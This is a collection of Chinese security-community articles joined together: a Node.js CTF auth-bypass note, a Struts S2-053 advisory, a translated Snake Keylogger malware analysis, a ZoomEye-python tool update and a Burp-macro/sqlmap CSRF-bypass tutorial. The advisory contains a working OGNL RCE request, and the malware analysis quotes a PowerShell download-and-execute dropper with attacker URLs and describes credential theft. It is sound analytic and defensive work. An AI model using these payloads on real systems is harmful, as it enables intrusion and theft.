function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
解题时需要登录管理员的用户名，但是在登录时，`isValidUser`函数会对用户输入的用户名进行`toUpperCase`处理，再与管理员用户名进行对比。如果输入的用户名与管理员用户名相同，就不允许登录。
但是我们可以看到，在之后的一个判断用户是否为管理员的函数中，对用户名进行处理的是`toLowerCase`。所以这两个差异，就可以使用大小写特性来进行绕过。
题目中默认的管理员用户名为：hacktm
所以，我们指定登录时的用户名为：hacKtm 即可绕过`isValidUser`和`isAdmin`的验证。
题目完整Writeup:[HackTM中一道Node.js题分析(Draw with us)](https://xz.aliyun.com/t/7177)
## 说在最后
最近才刚开始学习Node.js，打算趁寒假这段时间把常见的几个漏洞总结一下。如果文章中出现了错误，还希望师傅们能够直接指出来，十分感谢！
## 参考
* [浅谈Node.js Web的安全问题](https://www.freebuf.com/articles/web/152891.html)
* [深入理解JavaScript Prototype污染攻击](https://www.freebuf.com/articles/web/200406.html)
* [利用 Node.js 反序列化漏洞远程执行代码](https://paper.seebug.org/213/)
* [Sandboxing NodeJS is hard, here is why](https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html)
* <https://segmentfault.com/a/1190000012672620>
* [Fuzz中的javascript大小写特性](https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html) | 社区文章 |
Author：虎子@中新网安
2017年9月7日，Struts官方发布一个中危的安全漏洞，该漏洞编号为:S2-053,在一定条件下，当开发人员在Freemarker标签中使用错误的构造时，可能会导致远程代码执行漏洞，存在一定的安全风险。中新网安将对该漏洞进行持续关注，并第一时间为您更新相关漏洞信息。
#### 漏洞编号
CVE-2017-12611
#### 漏洞名称
Freemarker标签远程代码执行漏洞
#### 漏洞评级
中危
#### 影响范围
Struts 2.0.1 - 2.3.33
Struts 2.5 - 2.5.10
#### 漏洞复现
idea创建默认struts2项目
执行poc
http://localhost:8081/zxsoft?strutsS=%25%7B%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%[email protected]@getRuntime%28%29.exec%28%27notepad.exe%27%29%7D%3B
代码执行成功后弹出记事本程序。
#### 漏洞分析
当在Freemarker标签中使用表达式文本或强制表达式时，使用以下请求值可能会导致远程代码执行
<@s.hidden
name="strutsS" value=strutsS/>
<@s.hidden name="strutsS"
value="${strutsS}" />
这两种情况下，值属性都使用可写属性，都会受到Freemarker表达式影响
再将默认的execute方法执行的结果集通过DefaultActionInvocation中的createResult方法传递到ftl模板里
然后接着取出了payload
然后payload 进入ValueStack 中的map值栈，并且位于值栈的栈顶
最终FreeMarker模板使用assign指令调用struts.translateVariables方法去执行keyValue的栈顶元素
#### 修复建议
升级Apache Struts到version 2.5.13 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware>**
## 前言
Fortinet 的 FortiGuard 实验室最近发现了一个用于传播恶意软件的微软 Excel 样本。在研究了它的行为之后，我发现它是 Snake
Keylogger 恶意软件的一个新变种。
Snake
Keylogger是一个模块化的`.NET`键盘记录器。它最早出现在2020年末，主要行为是从受害者的设备中窃取敏感信息，包括保存的证书、受害者的按键、受害者屏幕的截图和剪贴板数据。
2021年7月，Snake Keylogger 首次进入 TOP 10大流行恶意软件报告，这意味着 Snake Keylogger
影响力正在增加，并威胁更多人的设备和敏感数据。
在这个威胁研究博客中，你将了解 Snake Keylogger 的变体是如何通过捕获的 Excel
样本下载和执行的，这个变体使用了什么技术来保护它不被分析，它从受害者的机器上窃取了什么敏感信息，以及它如何将收集到的数据提交给攻击者。
我们开始吧。
## 捕获的 Microsoft Excel 样本是什么样子
此 Excel 样本以钓鱼邮件附件的形式发送，内含恶意的 Macro VBA
代码。下图显示了该文件打开时的屏幕截图。它会显示一个模糊的文档图片，并要求受害者点击黄色按钮以获得一个更清晰的图像。
打开 Excel 文件时的内容
一旦受害者单击黄色按钮“ Enable Content”，恶意的 `VBA` 代码就会在后台执行。这个恶意宏项目包含恶意 VBA
代码，受密码保护，因此分析程序无法查看该代码。但是，我们可以修改它的二进制文件来消除这个限制。
检查其代码时，在打开文档时会自动调用“`Workbook _ activate()`”方法。它将一段 `PowerShell`代码从本地变量写入到 BAT
文件中。下图显示了此方法的部分 VBA 代码，其中变量“s”保存 PowerShell 代码，“`Gqyztfbtsogpnruooqr.BAT`”是
BAT 文件，最后通过调用代码“ `x = Shell (BAT，0)`”执行。
在后台执行的宏 VBA 代码
图的底部显示了变量“ s”的内容，其中包含执行时由`PowerShell.exe`解码的`base64`编码的PowerShell代码。
下面是 base64解码的 PowerShell 代码:
$ProcName = "Wheahmnfpgaqse.exe";
(New-Object System.Net.WebClient). DownloadFile ("hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe","$env:APPDATA\$ProcName");
Start-Process ("$env:APPDATA\$ProcName")
PowerShell 代码非常简单且易于理解。它将一个文件(“`Requests07520000652.exe`”)下载到受害者的设备上，通过调用“
`DownloadFile ()`”将其置于“`% AppData% Wheahmnfpgaqse.exe`”，并通过调用“`Start-Process
()`”执行该文件。
## Snake Keylogger 下载程序
经过一些研究，我了解到“`Wheahmnfpgaqse.exe`”文件是 Snake Keylogger
的下载程序，它是一个.Net程序。当它启动时，它会休眠21秒，用以绕过沙盒，并在触发无动作超时的时候终止示例进程。
在休眠后下载和解密 Snake Keylogger 模块
21秒后，下载程序调用一个名为“ `Consturctor
()`”的函数，如图所示。然后调用另一个函数“`Program.List_Types()`”，其中它从链接“`hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll`”下载 Snake Keylogger 模块，它是
`RC4`加密的 DLL 文件。接下来，它调用“ `ToRc ()`”函数来使用解密密钥“`Dllzjn`”对 RC4进行解密。
然后它继续加载解密的 Dll 模块(一个.Net Dll 文件，名为“ `huzeigtmvaplpinhoo.Dll`”) ，并枚举它的导出函数以查找“
`G6doICqoMU ()`”，该函数通过执行函数`Consturctor
()`中的“`type.InvokeMember(\“G6doICqoMU\”，BindingFlags.InvokeMethodnull，null，null，null)`”调用。如图所示。已经解密的.Net
Dll 是 Snake Keylogger的种植和安装程序。
让我们深入这个模块，看看它是如何执行任务的。
## Snake Keylogger 安装程序
根据我的分析，解密的 Dll 模块(“ huzeigtmvplpinhoo.Dll”)将 Snake Keylogger
部署到受害者的设备上，并将其设置为自动运行程序。它从 Resource 目录中提取一个可执行的 PE 文件到内存中，然后执行进程空心化，将可执行的 PE
文件注入到新创建的子进程中并执行它。
我将在本节中详细解释它是如何执行这些功能的。
### 1.持久性机制
调试器 dnSpy 中导出函数“ G6doICqoMU ()”的中断
上图显示了解密的 Dll 模块(“
huzeigtmvplpinhoo.Dll”)的大纲。如图所见，为了防止其代码被分析，文件被模糊化，因此类名、函数名和变量名都是随机生成的无意义字符串，分析人员分析它时会很麻烦。
导出函数“ G6doICqoMU ()”的全名是“ `huzeigtmvaplpinhoo!
pxfqpio3clcaofxfj.corfgloyrglurywdwih.G6doICqoMU
()`”。同样，出于同样的目的，它在这个函数开始时休眠35秒，以绕过一些恶意软件分析系统。
接下来，它将使这个 Snake Keylogger 程序在受感染的 Windows 上持久化。众所周知，Windows
系统在“开始菜单”中有一个“启动”文件夹。该文件夹中的程序在 Windows
启动时启动。该文件夹的完整路径在系统注册表中定义，字符串值为“`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders\Startup`”和“`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders\Startup`”。“
Startup”的值数据默认为“`C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup`”。
Snake Keylogger 的这个变体将“ Startup”的值改为其他文件夹的值。下图显示，通过调用 `API SetValue ()`将
Windows 启动文件夹更改为“`C:\Users\M0YTes0Env\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\chsg\`”的代码。 在图的下半部分，您可以看到系统注册表路径、值名称和新值数据的内容。
将 Windows“ Startup”文件夹更改为新路径
“`chsg`”是由 Snake Keylogger 创建的一个新文件夹。程序将 Snake Keylogger 文件(下载的“
`Wheahmnfpgaqse.exe`”)复制到这个文件夹中，并将其重命名为“`sgosr.exe`”。这可以确保每次启动 Snake
Keylogger程序时，Windows 系统都会启动它。
### 2.从资源中提取
尽管 Huzeigtmvaplpinhoo.dll 的内容只出现在内存中，但为了分析它，我将它保存到一个本地文件中。它在 Resource
目录中有几个资源，如下图所示。
Huzeigtmvaplpinhoo.dll的资源目录显示
提取 Snake Keylogger 的有效负载文件的过程有点复杂。它使用了一种狡猾的方式来加载资源。它有一个由 `ResolveEventHandler`
定义的本地回调函数，该函数注册到 `AppDomain.ResourceResolve`，当它未能按名称加载资源时会被调用。它看起来像是
windowsSEH
策略处理异常的异常处理程序。此外，它还有另一个注册到`AppDomain.AssemblyResolve`的本地回调函数，当它未能按名称加载程序集(如模块)时会被调用。
下面是注册本地资源解析的伪代码，其中`T9wOjU5ccxTJaVfUntn. Osc50oil0l`是本地回调函数。
AppDomain.ResourceResolve += new ResolveEventHandler(T9wOjU5ccxTJaVfUntn.Osc50oil0l)
现在，让我们看看 Snake Keylogger
是如何解决这个挑战的——加载一个不存在的资源，这将触发资源加载失败。它计划从当前模块中读取一个名为“`Qkxkikeg`”的资源，该模块在 Resource
目录中没有这样的命名资源，如图所示。资源加载失败提示出现，注册的本地`ResolveEventHandler`
函数被调用来解决此错误。这将导致加载程序集失败，其程序集解析回调函数被调用。
不久之后，从“`{ d977ee8c-85ce-4731-b9a1-323ba88c6eeb }`”资源解密的另一个 PE
文件出现在内存中。它包含一个名为“Qkxkikeg”的资源，这是原始请求资源名称，如图所示。
另一个模块中的“Qkxkikeg”资源
Snake Keylogger 的有效负载是 GZIP 格式压缩文件，存在于 Resource 目录“
ClassLibrary1.Properties”下的资源“Qkxkikeg”中。
下图左侧显示资源“ Qkxkikeg”(反向)的 GZIP 数据，右侧显示解压缩的 Snake Keylogger。
“Qkxkikeg”的压缩和解压缩数据
### 3.进程空洞化
然后，该程序创建一个挂起的子进程，并将压缩的 Snake Keylogger
有效负载部署到子进程中。然后恢复要运行的子进程。同时，父进程通过调用`Environment.Exit(0)`函数退出。
创建一个挂起的子进程
根据上图中的代码，它将调用`API CreateProcess ()`来创建子进程，并使用`Creation Flag 134217732U
(0x80000004)` ，也就是 `CREATE_NO_WINDOW` 和`CREATE_SUSPENDED`。
然后调用`API WriteProcessMemory ()`将 Snake Keylogger 有效负载逐节复制到子进程中。然后调用
`SetThreadContext ()` ，使子进程指向 Snake Keylogger 的入口点函数。在父进程退出之前，将调用一个 API
resumread ()来还原子进程以便运行。
## Snake Keylogger 有效载荷
完全混淆化的 Snake Keylogger有效负载
Snake Keylogger 有效负载文件的代码完全模糊化（如图所示）以保护它不被分析，类名和函数名也无法读取。
因此，为了更好地分析和解释其代码和意图，我使用“de4dot”工具对有效载荷文件进行了去模糊处理。这使得它的代码更具可读性，我的分析就是基于这个结果。
浏览 Snake
Keylogger代码时，我发现到它具备一些功能，比如记录受害者的击键(键盘记录器)、从剪贴板上窃取数据、获取受害者的屏幕截图、窃取系统剪贴板上的数据，以及窃取安装在受害者设备上的某些特定软件客户端的保存凭证。
### 1.键盘记录器功能
下图显示了设置键盘记录器的代码片段。
键盘记录器的初始化
它调用`API SetWindowsHookExA ()`来注册一个钩子回调函数(`this.callback _ processkey
()`)来监视低级别键盘输入事件。第一个参数是钩子类型，其中“13”表示`WH_KEYBOARD_LL`。
在此之后，当受害者打字时，Windows 系统调用回调函数，该函数能够处理并记录击键到全局字符串变量中。它还通过调用`api
GetForegroundWindow ()`和`gettwindowtext ()`来记录前景窗口标题，以确定受害者打字的区域。
它还有一个定时器 (Timer0) ，可以不断地向攻击者发送键盘记录器数据。
### 2.屏幕截图
它可以截取受害者设备的屏幕截图。它有一个定时器(Timer1) ，可以通过调用`API CopyFromScreen ()`
不断捕获受害者的屏幕截图。它将截图保存到系统的“ `MyDocuments`”文件夹中的一个本地 `Screenshot.png`
文件中。它还将这个图片文件发送给攻击者。
### 3.系统剪贴板
它有两个定时器。一个(Time2)用于通过调用 `Clipboard.GetText ()`
收集系统剪贴板数据并保存到全局变量。另一个(Time3)用于将收集到的剪贴板数据发送给攻击者。
获取系统剪贴板数据的定时器函数
上图显示了用于获取系统剪贴板数据的 Timer 函数。每次计数时，它都会检查当前剪贴板数据是否已经在全局变量
`main_cls.string_clipboard_data` 中收集。字符串剪贴板数据。如果没有，则将当前剪贴板数据附加到全局变量。
### 4.窃取证书
根据我的分析，这个变种的主要工作是从受害者的设备中窃取证书。它在`Main ()`函数中实现了窃取凭据，如下图所示。
Main () ，其功能是窃取凭证并提交凭证
这是模糊化的 Main ()函数，用于从各种客户机窃取凭据。底部的函数提交被盗的凭据。这些函数从保存每个软件的不同地方获得保存的凭证，包括本地文件(如
Chrome)和系统注册表(如 Outlook)等。
现在我将以 Outlook 为例来演示 Snake Keylogger 是如何收集凭据的。
下图是一个即将从系统注册表读取 Microsoft Outlook 凭据的函数的截图。它通过四个注册表路径为不同的 Outlook
版本读取数据(如果适用)，如“电子邮件”和“ IMAP 密码”或“POP3密码”或“ HTTP 密码”或“ SMTP 密码”和“ SMTP 服务器”。
从Microsoft Outlook 收集保存的凭据的函数
下面是一个示例，展示了 Snake Keylogger 可以从 Microsoft Outlook 收集哪些凭证信息:
> \-------- Snake Keylogger --------
> Found From: Outlook
> URL: smtp.gmail.com
> E-Mail: [email protected]
> PSWD: {Password}
我将 Snake Keylogger 攻击的客户分类如下:
* 浏览器:
> Google Chrome, Mozilla Firefox, Mozilla SeaMonkey Browser, Mozilla IceCat
> Browser, Yandex Browser, Microsoft Edge, Amigo Browser, Nichrome Browser,
> QQBrowser, Coccoc Browser, Orbitum Browser, Slimjet Browser, Iridium
> Browser, Vivaldi Browser, Iron Browser, Ghost Browser, Cent Browser, Xvast
> Browser, Chedot Browser, SuperBird Browser, 360 Browser, 360 Secure Browser,
> Comodo Dragon Browser, Brave-Browser, Torch Browser, UC Browser, Blisk
> Browser, Epic Privacy Browser, Opera Web Browser, Liebao Browser, Avast
> Browser, Kinza Browser, BlackHawk Browser, Citrio Browser, Uran Browser,
> Coowon Browser, 7 Star Browser, QIP Surf Browser, Sleipnir Browser, Chrome
> Canary Browser, CoolNovo Browser, SalamWeb Browser, Sputnik Browser
> Extension, Falkon Browser, Elements Browser, Slim Browser, Ice Dragon
> Browser, CyberFox Browser, PaleMoon Browser, Waterfox Browser, Kometa
> Browser and various browsers designed based on Chromium project.
* 电邮客户端:
> Microsoft OutLook, Tencent Foxmail, Mozilla Thunderbird and Postbox.
* 其他客户:
> FileZilla, Pidgin and Discord.
## 向攻击者发送被盗数据
根据 Snake Keylogger 的这个变体的代码，它向攻击者发送一封电子邮件(使用 SMTP 协议)来提交受害者被盗的凭据数据。
Snake Keylogger 收集关于受害者 Windows 系统的基本信息，比如用户名、 PC 名、系统日期和时间、公共 IP
地址和国家，这些信息被放在已收集凭据的header处。
含窃取凭证的邮件
上图显示了把窃取凭据发送给攻击者的电子邮件。底部是电子邮件的主题和主体。盗取的凭证被放在“`Passwords.txt`”和“`User.txt`”两个附件中。下图是“Password.txt”的屏幕截图，该截图附在发送给攻击者的电子邮件中，其中的基本信息和凭据是从我的测试
Windows 系统中盗取的。
“Password.txt”样本
为了向攻击者发送被盗数据，它定义了一些变量，包含发送者的电子邮件地址、密码、 SMTP 服务器地址和 SMTP
端口，如下图所示，它定义了类的构造函数中的变量。
攻击者的电子邮件地址在构造函数中是硬编码的
除了通过电子邮件发送数据，这个 Snake Keylogger 变种还提供 FTP 和 Telegram 方法，将收集到的敏感数据提交给攻击者。
对于 FTP，攻击者需要设置一个 FTP 服务器，然后告诉 Snake Keylogger FTP 服务器的地址和 Snake
Keylogger上传敏感数据需要的凭据。
对于 Telegram，Snake Keylogger 使用“ Telegram Bot API”的“
sendDocument”方法将其盗取的数据提交给攻击者提供的 Telegram 帐户。有关 Telegram 方法的更多信息，请参见下图。
使用 Telegram 提交数据的部分代码
## 结论
为了更好地理解这个恶意软件的整个过程，我在下图中绘制了一个流程图，概述了分析中解释的主要步骤。
Snake Keylogger 变体的流程图
在本文的开头，我们介绍了 Excel 文档中的恶意宏是如何执行 PowerShell用来下载 Snake Keylogger下载程序的。
接下来，我更关注 Snake Keylogger 安装程序如何对受害者的设备执行持久化，以及它提取 Snake Keylogger
的有效负载的复杂而棘手的方法。
然后，我详细介绍了 Snake Keylogger 的这个变体所提供的功能，比如记录击键、收集凭证数据、剪贴板数据和屏幕截图。
最后，我解释了电子邮件是如何通过将收集到的数据提交给攻击者，以及另外两种方法: FTP 和 Telegram。
## IOCs
### URLs:
"hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe"
"hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll"
### 示例 SHA-256:
[SOA# 1769.xlsm]
3B437BAA9A07E9DECE2659F20B5D97F8F729BA077D399933041CDC656C8D4D04
[Requests07520000652.exe or Wheahmnfpgaqse.exe]
53D520C1F12FE4E479C6E31626F7D4ABA5A65D107C1A13401380EBCA7CCA5B05 References:
## 参考文献:
<https://blog.checkpoint.com/2021/08/12/july-2021s-most-wanted-malware-snake-keylogger-enters-top-10-for-first-time/>
<https://docs.microsoft.com/enus/dotnet/api/system.appdomain.assemblyresolve?view=net-5.0>
<https://docs.microsoft.com/enus/dotnet/api/system.appdomain.resourceresolve?view=net-5.0>
* * * | 社区文章 |
**作者：tanheyi@知道创宇404实验室
日期：2021年3月23日**
### 0x01 前言
不知道大家是否还记得 Heige 的这篇文章 《[使用 ZoomEye 寻找 APT
攻击的蛛丝马迹](https://mp.weixin.qq.com/s/j4026NMXQQAm4GXxPJvFHw)》，Heige 在文章中阐述利用
ZoomEye 开放的历史数据 API 接口尝试追踪 APT
的案例。那篇文章虽然过去很久了，但是仍然具有参考价值。为了让广大的安全研究者能够更简单、更方便的实现这些类似的操作，于是在 `ZoomEye-python
v2.0.4.2` 中新增了 `history`和`clear` 命令。
### 0x02 更新内容
**值得注意的是，由于本工具依赖于 ZoomEye 提供的 API ，所以仅支持高级用户和 VIP 用户使用 history 命令。**
#### 1\. Search
本次更新在 `search` 命令新增了对扫描时间的展示和筛选， 通过 `-filter` 参数对扫描时间展示筛选，筛选的语法同样是 `-filter
"key" / -filter "key=value"` (支持正则表达式)。
例如展示扫描时间，例如：
zoomeye search "cidr:118.*.*.15/24" -filter "time"
ip time
118.*.*.9 2021-03-23 02:34:34
118.*.*.9 2021-03-22 18:12:37
118.*.*.11 2021-03-20 22:19:47
118.*.*.3 2021-03-20 19:58:58
118.*.*.5 2021-03-18 10:58:47
118.*.*.29 2021-03-16 09:32:15
118.*.*.11 2021-03-13 15:59:35
118.*.*.12 2021-03-13 15:11:42
118.*.*.37 2021-03-10 04:28:43
118.*.*.36 2021-03-08 22:02:40
118.*.*.9 2021-03-08 18:48:42
118.*.*.48 2021-03-08 18:48:32
118.*.*.24 2021-03-08 18:48:31
118.*.*.27 2021-03-08 18:48:27
118.*.*.11 2021-03-08 18:48:26
118.*.*.8 2021-03-08 00:08:51
118.*.*.29 2021-03-08 00:08:31
118.*.*.41 2021-03-05 23:47:51
118.*.*.23 2021-02-26 20:08:28
118.*.*.8 2021-02-25 09:01:39
对扫描时间进行筛选：
zoomeye search "cidr:118.*.*.15/24" -filter "time=^2021-03" -num 3
ip time
118.*.*.9 2021-03-23 02:34:34
118.*.*.9 2021-03-22 18:12:37
118.*.*.11 2021-03-20 22:19:47
在实际工作中有时候需要从 ZoomEye 获取实时数据，因此在本次更新中为 `search` 命令添加了 `force` 参数，可以绕过本地缓存数据，直接从
ZoomEye 获取数据，让获取数据的方式更加灵活。
#### 2\. 管道符
`ZoomEye-python` 能够配合 sed/awk/grep 对输出在屏幕上的内容进行二次操作，这里以 awk 为例做一个演示：
# 正常的输出
$ zoomeye search "cidr:118.*.*.15/24"
ip:port service country app banner
118.*.*.9:22 ssh China OpenSSH SSH-2.0-OpenSSH_8.4p1-hpn14v22...
118.*.*.9:443 https China nginx HTTP/1.1 403 Forbidden\r\nServ...
118.*.*.11:443 https China nginx HTTP/1.1 403 Forbidden\r\nServ...
118.*.*.3:80 http China HTTP/1.1 403 Forbidden\nConte...
118.*.*.5:22 ssh China OpenSSH SSH-2.0-OpenSSH_8.4p1-hpn14v22...
118.*.*.29:80 http China HTTP/1.0 404 Not Found\r\nCont...
118.*.*.11:22 ssh China OpenSSH SSH-2.0-OpenSSH_8.4p1-hpn14v22...
......
total: 20
# awk 筛选后输出
$ zoomeye search "cidr:118.*.*.15/24"|awk '/403 Forbidden/{print}'
118.*.*.9:443 https China nginx HTTP/1.1 403 Forbidden\r\nServ...
118.*.*.11:443 https China nginx HTTP/1.1 403 Forbidden\r\nServ...
118.*.*.3:80 http China HTTP/1.1 403 Forbidden\nConte...
118.*.*.37:80 http China HTTP/1.1 403 Forbidden\r\nServ...
118.*.*.9:80 http China nginx HTTP/1.1 403 Forbidden\r\nServ...
......
在上述案例中通过 `awk` 为 `ZoomEye-python` 的输出进行了筛选，筛选出了 banner 含有 `403 Forbidden`
的内容，当还可以支持其他的一些操作，大家可以在日常使用中去发现。
#### 3\. 清理数据
在新版本的 `ZoomEye-python` 中添加了清理用户数据和缓存数据命令
`clear`，为了防止缓存数据越用越多，占用存储空间以及防止在公共设备上使用导致用户数据泄漏。使用方式如下：
$zoomeye clear -h
usage: zoomeye clear [-h] [-setting] [-cache]
optional arguments:
-h, --help show this help message and exit
-setting clear user api key and access token
-cache clear local cache file
对 `clear` 命令的参数解释：
1.setting 清理用户的 API KEY 和 ACCESS TOKEN
2.cache 清理本地缓存的数据
#### 4\. 历史数据查询
ZoomEye 在去年一月开放了历史数据查询，在 ZoomEye 提供的历史数据中不管你覆盖不覆盖都可以查询出每次扫描得到的 banner
数据，但是目前提供的 ZoomEye 历史 API 只能通过 IP 去查询，而不能通过关键词匹配搜索。在 history 命令中同样如此，举个例子：
$zoomeye history 108.*.*.65 -num 3
108.*.*.65
Hostnames: [unknown]
Country: United States
City: San Jose
Organization: [unknown]
Lastupdated: 2021-02-25T01:09:26
Number of open ports: 2
Number of historical probes: 3
timestamp port/service app raw_data
2021-02-25 01:09:26 21/ftp Pure-FTPd 220---------- Welcome to Pure-...
2021-02-11 14:36:21 80/http nginx HTTP/1.1 200 OK\r\nServer: ngi...
2021-02-10 19:31:11 80/http nginx HTTP/1.1 200 OK\r\nServer: ngi...
在上述案例中我们使用 `zoomeye history` 搜索了 IP 是 `108.*.*.65` 的历史数据，`-num 3`
限定展示了数据展示的数量为 3 。展示了我们认为比较重要的五个字段，分别是：
1.tiemstamp 扫描的时间
2.port 开放的端口
3.service 运行的服务
4.app 运行的应用
5.raw_data 每次扫描的 banner
现阶段 `history` 展示的结果只有这个五个字段，后续将根据需求添加相应字段。
$zoomeye history [-h] [-filter filed=regexp] [-force] [-num value] ip
positional arguments:
ip search historical device IP
optional arguments:
-h, --help show this help message and exit
-filter filed=regexp filter data and print raw data detail. field:
[time,port,service,country,raw,*]
-force ignore the local cache and force the data to be
obtained from the API
-num value the number of search results that should be returned
在 history 命令中提供了一下参数：
1.filter 对历史数据进行筛选，可以指定字段 (key) 也可以指定字段和值 (key=value)
2.force 强制从 API 获取数据
3.num 限定展示数据的数量
`history` 命令筛选功能和 `search` 命令的筛选功能类似，支持单独的 `key` 也支持 `key=value`
的方式，同时也是支持正则表达式的。看个例子：
$zoomeye history 108.*.*.65 -filter "time=^2020-10,port,service"
108.*.*.65
Hostnames: [unknown]
Country: United States
City: San Jose
Organization: [unknown]
Lastupdated: 2020-10-30T02:18:01
Number of open ports: 3
Number of historical probes: 5
time port service
2020-10-30 02:18:01 80 http
2020-10-12 07:17:26 80 http
2020-10-07 21:33:03 80 http
2020-10-06 06:59:48 443 https
2020-10-05 06:42:30 21 ftp
> 注意：history 在查询 IP 的历史数据时会消耗用户的配额，有多少条数据就会扣除多少配额，因此我对 history 也做了缓存设置，失效日期为 5
> 天。
**如果你需要从 API 获取实时的数据请使用`-force` 参数，`-force` 会强制从 ZoomEye API 获取数据，同时消耗用户配额。**
### 0x03 项目地址
`ZoomEye-python` 完全开源，任何人可以在此基础上修改或提交代码。
GitHub：<https://github.com/knownsec/ZoomEye-python>
希望各位在 issue 中提出好的建议，让 ZoomEye-python 用着更顺手。
* * * | 社区文章 |
# 【技术分享】使用burp macros和sqlmap绕过csrf防护进行sql注入
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://www.cyberis.co.uk/burp_macros.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[派大星](http://bobao.360.cn/member/contribute?uid=1009682630)
预估稿费：150RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
有很多工具可以用来对web应用进行自动化测试。其中最有名的应当是sqlmap。Sqlmap让你轻松的通过命令行确认和利用SQL注入漏洞。然而，一些像CSRF、tokens或者简单的的反自动化技术如在一个表单中包含一个隐藏值就能够阻止自动化工具正确的工作。Burp
Suite中的Macros是一个绕过这些方法去进行自动化测试的优秀方法，虽然它实现起来有些复杂。
在本文中我们将用一个简单的web程序作为例子，用户可以用这个程序搜索动物的图片。
这是一个使用SQL Server做后端数据库的ASP.NET程序。它有SQL盲注漏洞。我们可以从下图看到。
如果我们看了一眼源代码，就会发现在一个输入表单中有一个隐藏的GUID token。
<form method="post" action="./" id="form1">
<div>
<input name="txtQuery" type="text" id="txtQuery" style="width:270px;" />
<input type="submit" name="btnSearch" value="Search" id="btnSearch" /> <input type="hidden" name="token" id="token" value="012aedf8-412a-4418-bd76-cf61f13ec22f" />
</div>
</form>
<span id="lblResultText"></span>
<br />
</body>
</html>
这个token是每次由服务器端的相应生成的。如果这个发送的token和服务器端的不一致，将会出现一个错误。
所以考虑到这一点，让我们看看在不使用macro去修改请求时使用sqlmap会发生什么。我们使用以下命令。
$ sqlmap -u http://10.99.10.20:8080 --method=POST --data= "__VIEWSTATE=ThFsV9HLtQRaOW3ksjD%2F8jPJ%2BK4oYtIZJ9UZjSdVZecr9MFluyVQIMvZTKyg3Q1eCjcahMgDNYnhBeQIA2FCGq1HaWWj8WE3CPXbXZc5j3I%3D&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=3OHOMEoCmtD5YRvASiOGybpufR%2BFQoZetngO2sq5zb9YFl3HtW%2BBzrISbPZE58dZtG6LsC6qns%2BlotceoeBunvTMcKLH8MIyzmxk3PoHuiWpavLOqJGozuk6py0DvKaWvWHDuFZO1QU2dfG5yPZ29nTLapvb3KcAPWAMDBI25FM%3D&txtQuery=cat&btnSearch=Search&token=77d5a318-c2b0-466d-a4ba-b8c5d155c54f" --proxy=http://127.0.0.1:8080 -p txtQuery
我们从sqlmap的输出中首先注意到的是一个到错误页面的重定向。
[16:42:45] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://10.99.10.20:8080/error.html?aspxerrorpath=/default.aspx'. Do you want to follow? [Y/n]
对sqlmap来说，这个情况看起来并没有什么希望。让我们继续看看会发生什么。
[16:45:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[16:45:58] [INFO] testing 'Oracle AND time-based blind'
[16:45:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:45:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it with option '--dbms'
显然，sqlmap认为这些参数不能注入，然而我们知道可以注入。现在让我们建立一个Burp
macro，它将会使用一个新的token替换掉请求中的“token”参数以便于我们使用sqlmap。
Burp
Suite中的macro是在Burp中代理的请求之前被发送到服务器端的一系列请求。一旦macro请求被执行，最后一个macro响应中的一系列参数能够被接下来的请求所携带。这就叫做macro。
首先我们要做的就是标记我们想要使用的一系列请求。在这个例子中只有一个请求：一个发往服务器的Get请求。然而Macro可以用来执行复杂的操作。比如登陆到一个应用然后取出cookies。在Burp
Suite中点击“Project options”标签然后点击其中的“Sessions”子标签。
滚动到Macro部分然后点击add。
两个对话框将会弹出。第一个是macro编辑器，第二个是macro记录器。为了确定我们将要执行的是哪些请求，我们需要“记录”我们想要生成的macro。可以通过两步实现它：现在我们可以执行一些动作作为macro的一部分（例如：浏览登陆页面，发送特定的Get请求等等）。然后在列表中选择它们。或者我们可以直接从代理历史中选择。看来我们只是寻找一个请求，我们已经做了，我们将使用第二个选项。
一旦我们选中期望的请求，就点击OK键，然后我们就进入到macro编辑器。
从这里开始我们需要对已经被拦截的请求做一些小改动。对于高亮的请求，我们点击“Configure item”。“Configure Macro
itme”对话框将会弹出。然后我们点击“Custom parameter location in response”部分的add按钮。
然后我们需要在响应中定位参数。高亮我们想要提取的值然后为参数命名以便于在macro完成的时候它能够被最后的请求带上。
“Define start and end”部分将被自动填充当我们在响应中高亮需要的值。其他的就按照默认值就可以了。点击OK直到关闭所有对话框。
现在我们生成了自己的macro。但是我们仍然需要实现一个会话処理规则（session handling
rule）使macro在需要的时候执行。在Session标签中找到“Session Handling Rules”部分然后点击add按钮。
当对话框弹出时点击在“Rule Actions”下面的add按钮，在下拉菜单中选择“Run a Macro”。
然后“Session Handling Action Editor”就会出现。在这里我们选择自己的macro。
选择“Update only the following
parameters”然后将我们的参数添加到这个列表中。如果我们想要基于macro修改cookies，我们也可以将其添加到这里。在这个例子中并没有cookies被设置。
点击OK关闭对话框然后点击Session Handling Rule Editor中的“Scope”标签。
